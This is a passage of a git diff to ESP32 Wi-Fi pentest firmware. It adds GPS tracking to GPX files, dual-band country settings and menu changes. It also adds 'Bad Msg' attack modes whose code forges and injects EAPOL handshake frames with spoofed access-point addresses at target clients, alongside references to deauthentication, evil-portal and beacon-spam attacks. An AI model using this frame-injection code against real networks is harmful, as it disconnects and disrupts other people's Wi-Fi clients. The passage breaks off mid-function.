selectProbeSSIDsMenu.list->clear();
|
||||
|
||||
// Add the back button
|
||||
this->addNodes(&selectProbeSSIDsMenu, text09, TFTLIGHTGREY, NULL, 0, [this]() {
|
||||
this->changeMenu(&wifiGeneralMenu);
|
||||
// Add the back button
|
||||
this->addNodes(&selectProbeSSIDsMenu, text09, TFTLIGHTGREY, NULL, 0, [this]() {
|
||||
this->changeMenu(&wifiGeneralMenu);
|
||||
|
||||
// TODO: TBD - Should probe_req_ssids have it´s own life and override ap.config and/or ssids -list for EP?
|
||||
// If so, then we should not add selected ssids to ssids list
|
||||
// TODO: TBD - Should probe_req_ssids have it´s own life and override ap.config and/or ssids -list for EP?
|
||||
// If so, then we should not add selected ssids to ssids list
|
||||
|
||||
// Add selected ssid names to ssids list when clicking back button
|
||||
if (probe_req_ssids->size() > 0) {
|
||||
// Add selected ssid names to ssids list when clicking back button
|
||||
if (probe_req_ssids->size() > 0) {
|
||||
|
||||
//TODO: TBD - Clear ssids list before adding new ones??
|
||||
//TODO: TBD - Clear ssids list before adding new ones??
|
||||
|
||||
for (int i = 0; i < probe_req_ssids->size(); i++) {
|
||||
ProbeReqSsid cur_probe_ssid = probe_req_ssids->get(i);
|
||||
if (cur_probe_ssid.selected) {
|
||||
bool ssidExists = false;
|
||||
for (int i = 0; i < ssids->size(); i++) {
|
||||
if (ssids->get(i).essid == cur_probe_ssid.essid) {
|
||||
ssidExists = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!ssidExists) {
|
||||
wifi_scan_obj.addSSID(cur_probe_ssid.essid);
|
||||
}
|
||||
}
|
||||
for (int i = 0; i < probe_req_ssids->size(); i++) {
|
||||
ProbeReqSsid cur_probe_ssid = probe_req_ssids->get(i);
|
||||
if (cur_probe_ssid.selected) {
|
||||
bool ssidExists = false;
|
||||
for (int i = 0; i < ssids->size(); i++) {
|
||||
if (ssids->get(i).essid == cur_probe_ssid.essid) {
|
||||
ssidExists = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!ssidExists) {
|
||||
wifi_scan_obj.addSSID(cur_probe_ssid.essid);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Populate the menu with buttons
|
||||
for (int i = 0; i < probe_req_ssids->size(); i++) {
|
||||
ProbeReqSsid cur_ssid = probe_req_ssids->get(i);
|
||||
// This is the menu node
|
||||
this->addNodes(
|
||||
&selectProbeSSIDsMenu,
|
||||
"[" + String(cur_ssid.requests) + "]" + cur_ssid.essid,
|
||||
TFTCYAN,
|
||||
NULL,
|
||||
255,
|
||||
[this, i]() {
|
||||
ProbeReqSsid new_ssid = probe_req_ssids->get(i);
|
||||
new_ssid.selected = !probe_req_ssids->get(i).selected;
|
||||
|
||||
// Change selection status of menu node
|
||||
MenuNode new_node = current_menu->list->get(i + 1);
|
||||
new_node.selected = !current_menu->list->get(i + 1).selected;
|
||||
current_menu->list->set(i + 1, new_node);
|
||||
|
||||
probe_req_ssids->set(i, new_ssid);
|
||||
},
|
||||
probe_req_ssids->get(i).selected);
|
||||
}
|
||||
}
|
||||
this->changeMenu(&selectProbeSSIDsMenu);
|
||||
});
|
||||
|
||||
// Populate the menu with buttons
|
||||
for (int i = 0; i < probe_req_ssids->size(); i++) {
|
||||
ProbeReqSsid cur_ssid = probe_req_ssids->get(i);
|
||||
// This is the menu node
|
||||
this->addNodes(
|
||||
&selectProbeSSIDsMenu,
|
||||
"[" + String(cur_ssid.requests) + "]" + cur_ssid.essid,
|
||||
TFTCYAN,
|
||||
NULL,
|
||||
255,
|
||||
[this, i]() {
|
||||
ProbeReqSsid new_ssid = probe_req_ssids->get(i);
|
||||
new_ssid.selected = !probe_req_ssids->get(i).selected;
|
||||
|
||||
// Change selection status of menu node
|
||||
MenuNode new_node = current_menu->list->get(i + 1);
|
||||
new_node.selected = !current_menu->list->get(i + 1).selected;
|
||||
current_menu->list->set(i + 1, new_node);
|
||||
|
||||
probe_req_ssids->set(i, new_ssid);
|
||||
},
|
||||
probe_req_ssids->get(i).selected);
|
||||
}
|
||||
this->changeMenu(&selectProbeSSIDsMenu);
|
||||
});
|
||||
|
||||
#ifdef HAS_ILI9341
|
||||
@@ -2394,6 +2508,7 @@ void MenuFunctions::RunSetup()
|
||||
|
||||
// Select APs on Mini
|
||||
this->addNodes(&wifiGeneralMenu, "Select APs", TFTNAVY, NULL, KEYBOARD_ICO, [this](){
|
||||
wifiAPMenu.parentMenu = &wifiGeneralMenu;
|
||||
// Add the back button
|
||||
wifiAPMenu.list->clear();
|
||||
this->addNodes(&wifiAPMenu, text09, TFTLIGHTGREY, NULL, 0, [this]() {
|
||||
@@ -3090,10 +3205,17 @@ void MenuFunctions::RunSetup()
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_GPS_NMEA, TFT_ORANGE);
|
||||
});
|
||||
|
||||
this->addNodes(&deviceMenu, "GPS Tracker", TFTGREEN, NULL, GPS_MENU, [this]() {
|
||||
wifi_scan_obj.currentScanMode = GPS_TRACKER;
|
||||
this->changeMenu(&gpsInfoMenu);
|
||||
wifi_scan_obj.StartScan(GPS_TRACKER, TFT_CYAN);
|
||||
});
|
||||
|
||||
// GPS Info Menu
|
||||
gpsInfoMenu.parentMenu = &deviceMenu;
|
||||
this->addNodes(&gpsInfoMenu, text09, TFTLIGHTGREY, NULL, 0, [this]() {
|
||||
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
|
||||
if(wifi_scan_obj.currentScanMode != GPS_TRACKER)
|
||||
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
|
||||
wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
|
||||
this->changeMenu(gpsInfoMenu.parentMenu);
|
||||
});
|
||||
@@ -3115,6 +3237,7 @@ void MenuFunctions::RunSetup()
|
||||
wifi_scan_obj.force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
|
||||
wifi_scan_obj.force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
|
||||
wifi_scan_obj.save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
|
||||
wifi_scan_obj.ep_deauth = settings_obj.loadSetting<bool>("EPDeauth");
|
||||
}, settings_obj.loadSetting<bool>(settings_obj.setting_index_to_name(i)));
|
||||
}
|
||||
|
||||
|
||||
@@ -188,6 +188,7 @@ class MenuFunctions
|
||||
Menu wifiGeneralMenu;
|
||||
Menu wifiAPMenu;
|
||||
Menu wifiIPMenu;
|
||||
Menu ssidsMenu;
|
||||
#ifdef HAS_BT
|
||||
Menu airtagMenu;
|
||||
#endif
|
||||
@@ -211,6 +212,8 @@ class MenuFunctions
|
||||
// Settings things menus
|
||||
Menu generateSSIDsMenu;
|
||||
|
||||
Menu evilPortalMenu;
|
||||
|
||||
static void lv_tick_handler();
|
||||
|
||||
// Menu icons
|
||||
|
||||
@@ -217,6 +217,15 @@ void SDInterface::runUpdate() {
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.println(F(text_table2[3]));
|
||||
#endif
|
||||
const esp_partition_t *running = esp_ota_get_running_partition();
|
||||
Serial.printf("Currently running: %s at 0x%X\n", running->label, running->address);
|
||||
|
||||
const esp_partition_t *next = esp_ota_get_next_update_partition(NULL);
|
||||
Serial.printf("Next OTA partition: %s at 0x%X\n", next->label, next->address);
|
||||
|
||||
esp_err_t result = esp_ota_set_boot_partition(next);
|
||||
Serial.printf("esp_ota_set_boot_partition result: %s\n", esp_err_to_name(result));
|
||||
|
||||
Serial.println(F("rebooting..."));
|
||||
//SD.remove("/update.bin");
|
||||
delay(1000);
|
||||
|
||||
@@ -19,6 +19,10 @@
|
||||
#endif
|
||||
#include <Update.h>
|
||||
|
||||
#include "esp_ota_ops.h"
|
||||
#include "esp_partition.h"
|
||||
#include "esp_err.h"
|
||||
|
||||
extern Buffer buffer_obj;
|
||||
extern Settings settings_obj;
|
||||
#ifdef HAS_SCREEN
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
#include "esp_random.h"
|
||||
#include "WiFiScan.h"
|
||||
#include "lang_var.h"
|
||||
|
||||
@@ -601,6 +602,9 @@ void WiFiScan::RunSetup() {
|
||||
|
||||
this->shutdownBLE();
|
||||
esp_wifi_init(&cfg);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_mode(WIFI_AP_STA);
|
||||
esp_wifi_start();
|
||||
this->wifi_initialized = true;
|
||||
@@ -855,6 +859,7 @@ void WiFiScan::initWiFi(uint8_t scan_mode) {
|
||||
this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
|
||||
this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
|
||||
this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
|
||||
this->ep_deauth = settings_obj.loadSetting<bool>("EPDeauth");
|
||||
//Serial.println(F("Initialization complete"));
|
||||
}
|
||||
}
|
||||
@@ -915,9 +920,9 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
|
||||
}
|
||||
else if ((scan_mode == WIFI_SCAN_CHAN_ANALYZER) ||
|
||||
(scan_mode == WIFI_SCAN_PACKET_RATE)) {
|
||||
#ifdef HAS_SCREEN
|
||||
//#ifdef HAS_SCREEN
|
||||
RunPacketMonitor(scan_mode, color);
|
||||
#endif
|
||||
//#endif
|
||||
}
|
||||
else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
|
||||
this->startWiFiAttacks(scan_mode, color, text_table1[50]);
|
||||
@@ -933,6 +938,10 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
|
||||
this->startWiFiAttacks(scan_mode, color, text_table4[8]);
|
||||
else if (scan_mode == WIFI_ATTACK_DEAUTH_TARGETED)
|
||||
this->startWiFiAttacks(scan_mode, color, text_table4[47]);
|
||||
else if (scan_mode == WIFI_ATTACK_BAD_MSG_TARGETED)
|
||||
this->startWiFiAttacks(scan_mode, color, "Bad Msg Targ");
|
||||
else if (scan_mode == WIFI_ATTACK_BAD_MSG)
|
||||
this->startWiFiAttacks(scan_mode, color, "Bad Msg");
|
||||
else if (scan_mode == WIFI_ATTACK_AP_SPAM)
|
||||
this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
|
||||
else if ((scan_mode == BT_SCAN_ALL) || (scan_mode == BT_SCAN_AIRTAG) || (scan_mode == BT_SCAN_FLIPPER) || (scan_mode == BT_SCAN_ANALYZER)){
|
||||
@@ -981,6 +990,9 @@ void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
|
||||
gps_obj.enable_queue();
|
||||
#endif
|
||||
}
|
||||
else if (scan_mode == GPS_TRACKER) {
|
||||
RunSetupGPSTracker();
|
||||
}
|
||||
else if (scan_mode == WIFI_PING_SCAN)
|
||||
RunPingScan(scan_mode, color);
|
||||
else if (scan_mode == WIFI_PORT_SCAN_ALL)
|
||||
@@ -1018,6 +1030,9 @@ void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_
|
||||
|
||||
packets_sent = 0;
|
||||
esp_wifi_init(&cfg);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_AP);
|
||||
esp_wifi_set_config(WIFI_IF_AP, &ap_config);
|
||||
@@ -1166,6 +1181,8 @@ void WiFiScan::StopScan(uint8_t scan_mode)
|
||||
(currentScanMode == WIFI_ATTACK_DEAUTH) ||
|
||||
(currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
|
||||
(currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) ||
|
||||
(currentScanMode == WIFI_ATTACK_BAD_MSG_TARGETED) ||
|
||||
(currentScanMode == WIFI_ATTACK_BAD_MSG) ||
|
||||
(currentScanMode == WIFI_ATTACK_MIMIC) ||
|
||||
(currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
|
||||
(currentScanMode == WIFI_PACKET_MONITOR) ||
|
||||
@@ -1202,6 +1219,11 @@ void WiFiScan::StopScan(uint8_t scan_mode)
|
||||
|
||||
evil_portal_obj.cleanup();
|
||||
#endif
|
||||
evil_portal_obj.has_ap = false;
|
||||
}
|
||||
|
||||
else if ((currentScanMode == GPS_TRACKER)) {
|
||||
this->writeFooter();
|
||||
}
|
||||
|
||||
|
||||
@@ -1255,6 +1277,9 @@ String WiFiScan::getStaMAC()
|
||||
uint8_t mac[6];
|
||||
char macAddrChr[18] = {0};
|
||||
esp_wifi_init(&cfg2);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_STA);
|
||||
esp_wifi_start();
|
||||
@@ -1279,6 +1304,9 @@ String WiFiScan::getApMAC()
|
||||
uint8_t mac[6];
|
||||
char macAddrChr[18] = {0};
|
||||
esp_wifi_init(&cfg2);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_AP);
|
||||
esp_wifi_start();
|
||||
@@ -1422,6 +1450,17 @@ void WiFiScan::startLog(String file_name) {
|
||||
);
|
||||
}
|
||||
|
||||
void WiFiScan::startGPX(String file_name) {
|
||||
buffer_obj.gpxOpen(
|
||||
file_name,
|
||||
#if defined(HAS_SD)
|
||||
sd_obj.supported ? &SD :
|
||||
#endif
|
||||
NULL,
|
||||
save_serial // Set with commandline options
|
||||
);
|
||||
}
|
||||
|
||||
void WiFiScan::parseBSSID(const char* bssidStr, uint8_t* bssid) {
|
||||
sscanf(bssidStr, "%02X:%02X:%02X:%02X:%02X:%02X",
|
||||
&bssid[0], &bssid[1], &bssid[2],
|
||||
@@ -1882,6 +1921,12 @@ void WiFiScan::RunEvilPortal(uint8_t scan_mode, uint16_t color)
|
||||
display_obj.tft.setTextColor(TFT_MAGENTA, TFT_BLACK);
|
||||
display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
|
||||
#endif
|
||||
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_init(&cfg);
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
|
||||
evil_portal_obj.begin(ssids, access_points);
|
||||
//if (!evil_portal_obj.begin(ssids, access_points)) {
|
||||
// Serial.println("Could not successfully start EvilPortal. Setting WIFI_SCAN_OFF...");
|
||||
@@ -1945,6 +1990,9 @@ void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
|
||||
esp_event_loop_create_default();
|
||||
|
||||
esp_wifi_init(&cfg2);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
@@ -2117,37 +2165,49 @@ void WiFiScan::RunGenerateSSIDs(int count) {
|
||||
#endif
|
||||
}
|
||||
|
||||
/*void WiFiScan::RunShutdownBLE() {
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextWrap(false);
|
||||
display_obj.tft.setFreeFont(NULL);
|
||||
display_obj.tft.setCursor(0, 100);
|
||||
display_obj.tft.setTextSize(1);
|
||||
display_obj.tft.setTextColor(TFT_CYAN);
|
||||
|
||||
display_obj.tft.print(F(text_table4[18]));
|
||||
#endif
|
||||
void WiFiScan::logPoint(String lat, String lon, float alt, String datetime) {
|
||||
datetime.replace(" ", "T");
|
||||
datetime += "Z";
|
||||
|
||||
if (this->ble_initialized) {
|
||||
this->shutdownBLE();
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextColor(TFT_GREEN);
|
||||
display_obj.tft.println(F("OK"));
|
||||
#endif
|
||||
}
|
||||
else {
|
||||
#ifdef HAS_SCREEN
|
||||
display_obj.tft.setTextColor(TFT_RED);
|
||||
display_obj.tft.println(F(text17));
|
||||
display_obj.tft.println(F(text_table4[19]));
|
||||
#endif
|
||||
}
|
||||
}*/
|
||||
buffer_obj.append(" <trkpt lat=\"" + lat + "\" lon=\"" + lon + "\">\n");
|
||||
buffer_obj.append(" <ele>" + String(alt, 2) + "</ele>\n");
|
||||
buffer_obj.append(" <time>" + datetime + "</time>\n");
|
||||
buffer_obj.append(" </trkpt>\n");
|
||||
//gpxFile.flush();
|
||||
}
|
||||
|
||||
void WiFiScan::RunGPSInfo() {
|
||||
void WiFiScan::writeHeader() {
|
||||
Serial.println("Writing header to GPX file...");
|
||||
buffer_obj.append("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n");
|
||||
buffer_obj.append("<gpx version=\"1.1\" creator=\"ESP32 GPS Logger\" xmlns=\"http://www.topografix.com/GPX/1/1\">\n");
|
||||
buffer_obj.append(" <trk>\n");
|
||||
buffer_obj.append(" <name>ESP32 Track</name>\n");
|
||||
buffer_obj.append(" <trkseg>\n");
|
||||
}
|
||||
|
||||
void WiFiScan::writeFooter() {
|
||||
Serial.println("Writing footer to GPX file...\n");
|
||||
buffer_obj.append(" </trkseg>\n");
|
||||
buffer_obj.append(" </trk>\n");
|
||||
buffer_obj.append("</gpx>\n");
|
||||
}
|
||||
|
||||
void WiFiScan::RunSetupGPSTracker() {
|
||||
this->startGPX("tracker");
|
||||
this->writeHeader();
|
||||
initTime = millis();
|
||||
}
|
||||
|
||||
void WiFiScan::RunGPSInfo(bool tracker) {
|
||||
#ifdef HAS_GPS
|
||||
String text=gps_obj.getText();
|
||||
|
||||
if (tracker) {
|
||||
if (gps_obj.getFixStatus()) {
|
||||
this->logPoint(gps_obj.getLat(), gps_obj.getLon(), gps_obj.getAlt(), gps_obj.getDatetime());
|
||||
}
|
||||
}
|
||||
|
||||
Serial.println("Refreshing GPS Data on screen...");
|
||||
#ifdef HAS_SCREEN
|
||||
|
||||
@@ -2587,8 +2647,9 @@ void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
|
||||
display_obj.tft.setTextColor(TFT_BLACK, color);
|
||||
display_obj.tft.drawCentreString("Channel Analyzer", 120, 16, 2);
|
||||
}
|
||||
else if (scan_mode == WIFI_SCAN_PACKET_RATE)
|
||||
else if (scan_mode == WIFI_SCAN_PACKET_RATE) {
|
||||
display_obj.tft.drawCentreString("Packet Rate", 120, 16, 2);
|
||||
}
|
||||
#endif
|
||||
|
||||
// Setup up portrait analyzer buttons
|
||||
@@ -2627,6 +2688,9 @@ void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
|
||||
|
||||
Serial.println("Running packet scan...");
|
||||
esp_wifi_init(&cfg2);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
@@ -2712,6 +2776,9 @@ void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
|
||||
#endif
|
||||
|
||||
esp_wifi_init(&cfg);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_AP);
|
||||
|
||||
@@ -2777,6 +2844,9 @@ void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
|
||||
|
||||
packets_sent = 0;
|
||||
esp_wifi_init(&cfg);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_AP_STA);
|
||||
esp_wifi_start();
|
||||
@@ -2825,6 +2895,9 @@ void WiFiScan::RunPineScan(uint8_t scan_mode, uint16_t color)
|
||||
#endif
|
||||
|
||||
esp_wifi_init(&cfg2);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
@@ -2874,6 +2947,9 @@ void WiFiScan::RunMultiSSIDScan(uint8_t scan_mode, uint16_t color)
|
||||
#endif
|
||||
|
||||
esp_wifi_init(&cfg2);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
@@ -2920,6 +2996,9 @@ void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
|
||||
#endif
|
||||
|
||||
esp_wifi_init(&cfg2);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
@@ -3158,6 +3237,9 @@ void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
|
||||
if (scan_mode != WIFI_SCAN_WAR_DRIVE) {
|
||||
|
||||
esp_wifi_init(&cfg2);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
@@ -3228,6 +3310,9 @@ void WiFiScan::RunStationScan(uint8_t scan_mode, uint16_t color)
|
||||
} else {
|
||||
Serial.println("Wi-Fi init succeeded with custom config.");
|
||||
}
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
@@ -3295,6 +3380,9 @@ void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
|
||||
#endif
|
||||
|
||||
esp_wifi_init(&cfg2);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
@@ -3341,6 +3429,9 @@ void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
|
||||
#endif
|
||||
|
||||
esp_wifi_init(&cfg2);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
@@ -3405,6 +3496,9 @@ void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
|
||||
#endif
|
||||
|
||||
esp_wifi_init(&cfg2);
|
||||
#ifdef HAS_DUAL_BAND
|
||||
esp_wifi_set_country(&country);
|
||||
#endif
|
||||
esp_wifi_set_storage(WIFI_STORAGE_RAM);
|
||||
esp_wifi_set_mode(WIFI_MODE_NULL);
|
||||
esp_wifi_start();
|
||||
@@ -4028,8 +4122,9 @@ void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type
|
||||
}
|
||||
}
|
||||
|
||||
// We got a client possibly. Check for AP association
|
||||
if ((snifferPacket->payload[0] != 0x80) && (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP_STA)) {
|
||||
// We got a client possibly associated with AP. Check for AP association
|
||||
//if ((snifferPacket->payload[0] != 0x80) && (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP_STA)) {
|
||||
if ((type == WIFI_PKT_DATA) && (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP_STA)) {
|
||||
#ifdef HAS_SCREEN
|
||||
display_string = CYAN_KEY;
|
||||
#endif
|
||||
@@ -5421,13 +5516,14 @@ void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t typ
|
||||
String display_string = "";
|
||||
String mac = "";
|
||||
|
||||
if (type == WIFI_PKT_MGMT)
|
||||
{
|
||||
if (type != WIFI_PKT_DATA)
|
||||
return;
|
||||
/*{
|
||||
len -= 4;
|
||||
int fctl = ntohs(frameControl->fctl);
|
||||
const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
|
||||
const WifiMgmtHdr *hdr = &ipkt->hdr;
|
||||
}
|
||||
}*/
|
||||
|
||||
char ap_addr[] = "00:00:00:00:00:00";
|
||||
char dst_addr[] = "00:00:00:00:00:00";
|
||||
@@ -6328,6 +6424,143 @@ void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str
|
||||
packets_sent = packets_sent + 3;
|
||||
}
|
||||
|
||||
void WiFiScan::sendEapolBagMsg1(uint8_t bssid[6], int channel, uint8_t mac[6], uint8_t sec) {
|
||||
WiFiScan::set_channel = channel;
|
||||
esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
|
||||
delay(1);
|
||||
|
||||
// Build packet
|
||||
eapol_packet_bad_msg1[4] = mac[0];
|
||||
eapol_packet_bad_msg1[5] = mac[1];
|
||||
eapol_packet_bad_msg1[6] = mac[2];
|
||||
eapol_packet_bad_msg1[7] = mac[3];
|
||||
eapol_packet_bad_msg1[8] = mac[4];
|
||||
eapol_packet_bad_msg1[9] = mac[5];
|
||||
|
||||
eapol_packet_bad_msg1[10] = bssid[0];
|
||||
eapol_packet_bad_msg1[11] = bssid[1];
|
||||
eapol_packet_bad_msg1[12] = bssid[2];
|
||||
eapol_packet_bad_msg1[13] = bssid[3];
|
||||
eapol_packet_bad_msg1[14] = bssid[4];
|
||||
eapol_packet_bad_msg1[15] = bssid[5];
|
||||
|
||||
eapol_packet_bad_msg1[16] = bssid[0];
|
||||
eapol_packet_bad_msg1[17] = bssid[1];
|
||||
eapol_packet_bad_msg1[18] = bssid[2];
|
||||
eapol_packet_bad_msg1[19] = bssid[3];
|
||||
eapol_packet_bad_msg1[20] = bssid[4];
|
||||
eapol_packet_bad_msg1[21] = bssid[5];
|
||||
|
||||
/* Generate random Nonce */
|
||||
for (uint8_t i = 0; i < 32; i++) {
|
||||
eapol_packet_bad_msg1[49 + i] = esp_random() & 0xFF;
|
||||
}
|
||||
/* Update replay counter */
|
||||
for (uint8_t i = 0; i < 8; i++) {
|
||||
eapol_packet_bad_msg1[41 + i] = (packets_sent >> (56 - i * 8)) & 0xFF;
|
||||
}
|
||||
|
||||
if(sec == WIFI_SECURITY_WPA3 || sec == WIFI_SECURITY_WPA3_ENTERPRISE || sec == WIFI_SECURITY_WAPI) {
|
||||
eapol_packet_bad_msg1[38] = 0xCB; // Key‑Info (LSB) Install|Ack|Pairwise, ver=3
|
||||
eapol_packet_bad_msg1[39] = 0x00; // Key Length MSB
|
||||
eapol_packet_bad_msg1[40] = 0x00; // Key Length LSB (must be 0 with GCMP)
|
||||
}
|
||||
else {
|
||||
eapol_packet_bad_msg1[38] = 0xCA; // Key‑Info (LSB) Install|Ack|Pairwise, ver=3
|
||||
eapol_packet_bad_msg1[39] = 0x00; // Key Length MSB
|
||||
eapol_packet_bad_msg1[40] = 0x10; // Key Length LSB (must be 0 with GCMP)
|
||||
}
|
||||
|
||||
// Send packet
|
||||
esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, sizeof(eapol_packet_bad_msg1), false);
|
||||
//esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, sizeof(eapol_packet_bad_msg1), false);
|
||||
//esp_wifi_80211_tx(WIFI_IF_AP, eapol_packet_bad_msg1, sizeof(eapol_packet_bad_msg1), false);
|
||||
|
||||
packets_sent = packets_sent + 1;
|
||||
}
|
||||
|
||||
void WiFiScan::sendEapolBagMsg1(uint8_t bssid[6], int channel, String dst_mac_str, uint8_t sec) {
|
||||
WiFiScan::set_channel = channel;
|
||||
esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
|
||||
delay(1);
|
||||
|
||||
// Build packet
|
||||
sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
|
||||
&eapol_packet_bad_msg1[4], &eapol_packet_bad_msg1[5], &eapol_packet_bad_msg1[6], &eapol_packet_bad_msg1[7], &eapol_packet_bad_msg1[8], &eapol_packet_bad_msg1[9]);
|
||||
|
||||
eapol_packet_bad_msg1[10] = bssid[0];
|
||||
eapol_packet_bad_msg1[11] = bssid[1];
|
||||
eapol_packet_bad_msg1[12] = bssid[2];
|
||||
eapol_packet_bad_msg1[13] = bssid[3];
|
||||
eapol_packet_bad_msg1[14] = bssid[4];
|
||||
eapol_packet_bad_msg1[15] = bssid[5];
|
||||
|
||||
eapol_packet_bad_msg1[16] = bssid[0];
|
||||
eapol_packet_bad_msg1[17] = bssid[1];
|
||||
eapol_packet_bad_msg1[18] = bssid[2];
|
||||
eapol_packet_bad_msg1[19] = bssid[3];
|
||||
eapol_packet_bad_msg1[20] = bssid[4];
|
||||
eapol_packet_bad_msg1[21] = bssid[5];
|
||||
|
||||
/* Generate random Nonce */
|
||||
for (uint8_t i = 0; i < 32; i++) {
|
||||
eapol_packet_bad_msg1[49 + i] = esp_random() & 0xFF;
|
||||
}
|
